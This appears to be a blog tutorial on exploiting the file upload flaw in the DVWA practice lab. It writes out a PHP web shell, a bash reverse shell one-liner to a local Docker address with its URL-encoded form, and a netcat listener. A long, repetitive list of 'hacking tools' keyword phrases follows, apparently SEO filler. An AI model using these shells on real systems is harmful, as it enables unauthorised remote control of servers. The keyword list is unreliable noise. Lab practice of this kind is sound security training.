sábado, 20 de enero de 2024

Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:
Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:
echo TESTUPLOAD > test.txt 
and now upload it.
The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:
http://localhost:9000/hackable/uploads/test.txt 
and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.
<?php phpinfo(); ?> 
Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:
http://localhost:9000/hackable/uploads/info.php 
and you should see a phpinfo page like this:
phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:
<?php system($_GET["cmd"]); ?> 
save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:
http://localhost:9000/hackable/uploads/shell.php?cmd=whoami 
we see a response from the server giving us the user under which the web application is running.
We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.
Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:
ifconfig docker0 
the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:
bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1' 
here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27 
Now start a listener on host with this command:
nc -lvnp 9999 
and then enter the url encoded reverse shell in the cmd parameter of the url like this:
http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27 
looking back at the listener we have a reverse shell.
Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:
nc -lvnp 9999 
and upload the reverse shell to the server and access it to execute our reverse shell.
That's it for today have fun.

References:

  1. Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
  2. Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  3. Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
More information

  1. Hacker Hardware Tools
  2. Hack App
  3. Hacking Tools Mac
  4. Pentest Tools Find Subdomains
  5. Hacking Tools For Pc
  6. Hacking Tools For Beginners
  7. Physical Pentest Tools
  8. Hack Apps
  9. Hack Tools Github
  10. Hak5 Tools
  11. Hacker
  12. Hacker Tools For Mac
  13. Hacker Tools Free Download
  14. Hacker Tools For Windows
  15. Pentest Reporting Tools
  16. Free Pentest Tools For Windows
  17. Hack Apps
  18. Pentest Tools Website
  19. Tools Used For Hacking
  20. Hack Rom Tools
  21. Hacker Tools Mac
  22. Hacker Tools Hardware
  23. Hacker Tools Apk Download
  24. Hack App
  25. Nsa Hacker Tools
  26. Bluetooth Hacking Tools Kali
  27. Hacking Tools For Mac
  28. Hacker Search Tools
  29. Hacker Tools Windows
  30. Pentest Tools Apk
  31. Hack Tools For Windows
  32. Hack Website Online Tool
  33. How To Hack
  34. Hacking Tools For Windows Free Download
  35. Hacking Tools Windows
  36. Pentest Tools Apk
  37. Hacker Tools Hardware
  38. Hacker Tools 2019
  39. Pentest Tools Download
  40. Hacking Tools Software
  41. Hacking Tools Download
  42. Hacking Tools 2019
  43. Hack Tool Apk No Root
  44. Pentest Tools Github
  45. Pentest Tools Online
  46. Hack Tool Apk
  47. Hacks And Tools
  48. Hacking Tools For Windows
  49. Pentest Tools Download
  50. Nsa Hack Tools Download
  51. Hacker Tool Kit
  52. Hacker Tools Online
  53. Hacking App
  54. Hacker Tools Linux
  55. Usb Pentest Tools
  56. Hacker Tools Free Download
  57. Hacker Tools Github
  58. Hacking Tools Online
  59. Github Hacking Tools
  60. Android Hack Tools Github
  61. Pentest Tools Tcp Port Scanner
  62. Best Pentesting Tools 2018
  63. Hacking Tools Windows 10
  64. Hacking Tools For Windows
  65. Hack Tools Github
  66. Pentest Tools For Mac
  67. Hacker Tools For Pc
  68. Hacker Tools For Pc
  69. Hacker Tools Software
  70. Hack And Tools
  71. Pentest Tools Linux
  72. Pentest Tools Open Source
  73. Hacker Tools Mac
  74. Hacker Tools Software
  75. Best Hacking Tools 2020
  76. Hacking Tools For Kali Linux
  77. Pentest Tools Windows
  78. Hacker Tools Windows
  79. Nsa Hacker Tools
  80. Hackers Toolbox
  81. Hacking Tools Software
  82. Pentest Tools Subdomain
  83. Best Hacking Tools 2020
  84. Kik Hack Tools
  85. Best Hacking Tools 2020
  86. Hacking Tools Name
  87. Pentest Tools Github
  88. Computer Hacker
  89. Hacking Tools Windows
  90. Hacker Security Tools
  91. New Hack Tools
  92. Pentest Tools Github
  93. Hack Tools For Games
  94. Pentest Tools Framework
  95. Pentest Tools Website Vulnerability
  96. Hack Tools For Ubuntu
  97. Hacker Tools Free
  98. Hacking Tools Usb
  99. Hacker Tools Github
  100. Blackhat Hacker Tools
  101. New Hacker Tools
  102. Hacking App
  103. Hack Tools Download
  104. Pentest Tools Kali Linux
  105. Pentest Tools Port Scanner
  106. World No 1 Hacker Software
  107. Hacking Tools Mac
  108. Hacker Tools Online
  109. Hacker Tools 2019
  110. Hacker
  111. Pentest Reporting Tools
  112. World No 1 Hacker Software
  113. Hacker Tools Linux
  114. Hack Tools For Pc
  115. Hacker Tools 2019
  116. Hacking Tools Free Download
  117. Free Pentest Tools For Windows
  118. Hacking Tools Usb
  119. Beginner Hacker Tools
  120. Hack Apps
  121. Hacking Tools Mac
  122. New Hacker Tools
  123. Hacking Tools Windows 10
  124. Pentest Tools
  125. Usb Pentest Tools
  126. Hacker Search Tools
  127. Hack And Tools
  128. Pentest Tools Port Scanner
  129. Best Hacking Tools 2020
  130. Bluetooth Hacking Tools Kali
  131. Pentest Tools For Ubuntu
  132. Github Hacking Tools
  133. Hacking Tools For Mac
  134. Nsa Hacker Tools
  135. Hacking Tools Online
  136. Hacking Tools Free Download
  137. Best Hacking Tools 2019
  138. How To Make Hacking Tools
  139. Hacker Security Tools
  140. Pentest Automation Tools
  141. Hacking Tools Pc
  142. Computer Hacker
  143. Growth Hacker Tools
  144. Top Pentest Tools
  145. Hacking Tools Windows 10
  146. Nsa Hack Tools
  147. New Hacker Tools
  148. World No 1 Hacker Software
  149. Hack App
  150. How To Install Pentest Tools In Ubuntu
  151. Hacking Tools Name
  152. How To Install Pentest Tools In Ubuntu
  153. Hacker Tools Mac
  154. Hacking App
  155. Hacking Tools 2019
  156. Hacking Tools Usb
  157. Pentest Tools Port Scanner
  158. Pentest Tools Subdomain
  159. Hacking Tools Online

No hay comentarios:

Publicar un comentario